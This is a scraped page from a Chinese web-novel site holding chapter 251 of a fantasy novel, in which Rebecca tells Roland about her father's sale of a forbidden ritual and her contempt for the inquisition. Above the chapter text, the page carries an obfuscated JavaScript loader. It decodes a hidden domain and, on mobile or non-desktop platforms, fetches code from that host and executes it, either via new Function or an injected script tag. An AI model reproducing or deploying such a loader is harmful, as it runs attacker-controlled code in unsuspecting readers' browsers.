妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第251章 Ch250 丽贝卡费因斯(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

毕竟审判庭和监察局就是管这些的。

戴维·克伦威尔不会不知道拉姆·费因斯的女儿在干什么,他和他的女儿打着什么主意。他的行为表明了两件事:

第一,戴维·克伦威尔的立场并非如他所表现的(无论他提供的仪式是真是假)。

第二,拉姆·费因斯已经腐烂到,根本没打算过分辨仪式真假了。

就这样抛给自己的女儿?

那可是无形之术。

执行官不会不清楚,来历不明的无形之术的危险性。

即便是关系不错的牧师,即便是戴维·克伦威尔所表现出来的友善——

拉姆·费因斯…

“‘如果你们还生个不停,就是不够虔诚,并不是仪式的错’,我父亲是这样说的。”丽贝卡学着他的口吻,怎么听都满是怨恨。“他真是个‘虔诚’的人儿。”

但这就有个问题。

如果这无形之术没什么人买,那他今夜通过车篷窗看到的…?

罗兰这个问题的答案很简单。

“我告诉他,有许多人买。”

意兴阑珊的女人叼着烟,像断了颈的天鹅耷拉着头,长发垂在一侧,歪着看罗兰…或其他什么根本不存在的幻想。

或干脆只是发呆。

“我告诉他,这仪式对我们干活的很有用,不再用生个不停,或为了让客人戴那羊肠产生争吵,被殴打——我告诉他,他给了我们很大帮助,许多人都了钱。”

丽贝卡就像在说一段别人的故事,灰色的语调里没有丁点其他颜色了。

“我给他钱,让他…”

“做生意。”

她说到这个词,好像谈及什么幽默笑话一样,眼底是那早知结局却为了效果故作不知的压抑。

“他说,他很快就能用我给的钱越赚越多。”

“然后,他不必再到处打洞,被人看不起。我也不必再这地方不停的生孩子了——先生。”丽贝卡说到这儿,忽然有些迟疑:“他…”

她犹豫片刻,还是问罗兰:

“他没欠钱,反而攒下不少了,对不对?”

一个妓女,在这地方,在这本该令人欢愉的地方谈起了正事,让她多少有些羞耻。

她仿佛能在那劣质的香水味下闻到腐臭。

罗兰沉默的时间不长。

他知道,平静的越久,海面下积蓄的力量就越大。

甚至会将人溺死。

“他的确赚了些钱,女士。但我得提醒您,”罗兰故作轻松,耸耸肩,脸上浮现一抹苦恼:“提醒您可不要再干这事了,即便是虚构——我宁愿您找个其他理由。凡人沾染无形之术——若遇上个不讲理的执行官,您知道下场是什么吗?”

丽贝卡撩了撩头发。

“我知道,”她也学着罗兰耸了下肩:“焚刑。我父亲就是干这个的,我一清二楚——”

她说完,又强调了一遍。

“我一清二楚。”她说:“我一清二楚,您的,他的,所谓的审判庭,到底是个什么‘玩意’。”

她对审判庭的看法,和她父亲一样。

(本章完)

', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间